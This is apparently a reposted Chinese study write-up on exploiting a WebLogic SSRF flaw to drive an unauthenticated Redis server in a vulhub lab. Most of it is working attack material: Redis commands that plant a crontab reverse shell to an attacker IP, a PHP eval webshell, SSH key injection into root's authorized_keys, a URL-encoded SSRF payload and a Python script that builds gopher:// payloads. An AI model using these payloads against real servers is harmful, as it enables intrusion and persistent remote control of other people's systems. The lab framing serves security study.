Weblogic ssrf+Redis Getshell學習


redis能夠寫文件,因此可以做到寫ssh的秘鑰,寫webshell,寫計划任務等操作

而ssrf可以訪問內網的redis,那么就可以控制內網的redis進行上面的操作了

鏡像來源vulhub:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

redis寫shell

在默認情況下redis是沒有密碼的,也就是所謂的未授權訪問

首先要了解下需要使用到的redis的基本命令

config set dir '/xxx/xx'			//指定數據庫文件的目錄
config set dbfilename 'xxx'			//指定數據庫文件的名字
set x 'xxxxx'						//操作會記錄到數據庫中
save								//保存配置

因為目錄和數據名可以隨便起,所以起名為xxx.php也合法的,再加上操作中可寫一句話的內容,因此可以做到寫webshell的作用,因為目錄也是隨意的因此寫計划任務到計划任務文件也是getshell的一種思路,最后寫ssh的秘鑰可以讓ssh連接不用通過密碼就能連接的手段

環境配置

這是redis的docker鏡像的ip

這是我ubuntu宿主機的ip

計划任務getshell

計划任務的文件有2個/etc/crontab/var/spool/cron/root

第一個是所用用戶的計划任務都可以寫在這,第二個是root用戶的計划任務會寫在這,如果其他用戶比如apache則是/var/spool/cron/apache

計划任務的格式如下

*/1 * * * * root bash -i >& /dev/tcp/ip/port 0>&1

這樣沒1分鍾就會反彈一次shell

set 1 "\n\n*\\1 * * * * root bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n"
config set dir /etc/
config set dbfilename crontab
save

開始測試向/etc/crontab中寫計划任務,成功寫入了(前一行是我之前寫的 少轉義了個\,導致 *1之間缺個\,但好像沒有影響orz我忘了計划任務具體的了)

接下來ubuntu監聽2333端口,獲得shell

接下來同理向/var/spool/cron/root中寫入計划任務

set 1 "\n\n*\\1 * * * * bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

成功寫入,這里注意計划任務中少了 root 這個用戶,和/etc/crontab 的payload稍微有點區別

彈到shell,如果計划任務多加了用戶 root的話,會接到信息,但是會報錯退出

直接寫webshell

至於寫webshell,因為我redis鏡像沒有web服務,所以這里就直接給出要執行的命令,其實也和上面差不多

set 1 "<?php eval($_POST[1]); ?>"
config set dir /var/www/html/
config set dbfilename shell.php
save

寫ssh

這里我模擬個場景

宿主機存在redis,存在ssh,最后用ssh連本機的root

首先生成秘鑰和公鑰

ssh-keygen -t rsa
//它會提示輸入密鑰和公鑰的名字,我這里叫./id_rsa
//然后會設置密碼,我這里設置的123456

然后把公鑰寫入一個txt文件中

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > hack.txt

最后就是將內容通過redis保存到服務器了

cat hack.txt | redis-cli -h 172.18.0.2 -x set xxx
//之后進入數據庫即可
redis-cli
config set dir /root/.ssh/
config set dbfilename "authorized_keys"
save

我這里因為環境的問題沒有成功,留個坑之后補一下(不知道為啥ubuntu官方的docker鏡像啟動不起來)

連接ssh,使用秘鑰即可

ssh -i id_rsa root@127.0.0.1

weblogic ssrf配合redis,getshell漏洞

拿的shell是redis的shell,因為內網是沒法直接訪問的,但是內網可以訪問到攻擊機的情況就可以使用反向代理的方式拿到shell,也就是從redis服務器向攻擊機發送連接請求

驗證ssrf,訪問內網的redis

weblogic的漏洞頁面如下

觸發ssrf的參數

之后修改成其他端口試試,返回不一樣

因為是專門的docker鏡像就只有個7001開着的

然后咱已知道內網那台redis的ip了(在實際中可以寫個python腳本掃描下內網的機子)

比如內網不存在某個ip的電腦存活時會返回

有存活的時候會返回

端口存在的的時候返回又是不同的

進行反彈shell的命令發送

mi0


set 1 "\n\n\n\n*\\1 * * * * root bash -i >& /dev/tcp/172.17.0.1/2333 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save


mi0

上下這個字符任意即可,因為這個weblogic的ssrf它存在能用%0a,%0d換行,所以上面腳本進行url編碼后得到以下內容

mi0%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%5C%5C1%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Ami0

成功的寫入,這里稍微注意下,url編碼如果全編碼反而寫入不了

成功拿到redis的shell

利用gopher協議

首先把命令執行代碼寫成bash.sh腳本

echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1
redis-cli -h $1 -p $2 config set dir /var/spool/cron/
redis-cli -h $1 -p $2 config set dbfilename root
redis-cli -h $1 -p $2 save
redis-cli -h $1 -p $2 quit

然后進行監聽socat,獲得發送的數據

socat -v tcp-listen:4444,fork tcp-connect:localhost:6379

輸入后就開始監聽,再起個shell運行剛剛的腳本

bash shell.sh 127.0.0.1 4444

會捕獲到信息,但是我是ubuntu18.04,環境可能不同(ubuntu沒法用redis寫計划任務)

這里就貼別人抓到的信息

> 2017/10/11 01:24:52.432446  length=85 from=0 to=84
*3\r
$3\r
set\r
$1\r
1\r
$58\r



*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1



\r
< 2017/10/11 01:24:52.432685  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.435153  length=57 from=0 to=56
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$16\r
/var/spool/cron/\r
< 2017/10/11 01:24:52.435332  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.437594  length=52 from=0 to=51
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$4\r
root\r
< 2017/10/11 01:24:52.437760  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.439943  length=14 from=0 to=13
*1\r
$4\r
save\r
< 2017/10/11 01:24:52.443318  length=5 from=0 to=4
+OK\r
> 2017/10/11 01:24:52.446034  length=14 from=0 to=13
*1\r
$4\r
quit\r
< 2017/10/11 01:24:52.446148  length=5 from=0 to=4
+OK\r

如果要改的話要修改這2個地方

之后使用腳本將其轉換為gopher協議的格式

#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open(sys.argv[1]) as f:
    for line in f.readlines():
        if line[0] in '><+':
            continue
        # 判斷倒數第2、3字符串是否為\r
        elif line[-3:-1] == r'\r':
            # 如果該行只有\r,將\r替換成%0a%0d%0a
            if len(line) == 3:
                exp = exp + '%0a%0d%0a'
            else:
                line = line.replace(r'\r', '%0d%0a')
                # 去掉最后的換行符
                line = line.replace('\n', '')
                exp = exp + line
        # 判斷是否是空行,空行替換為%0a
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp

之后利用即可

gopher://ip:6379/_payload

參考鏈接

https://joychou.org/web/phpssrf.html

https://blog.csdn.net/bwlab/article/details/54138223

http://www.lichengxiao.cn/17.html

https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM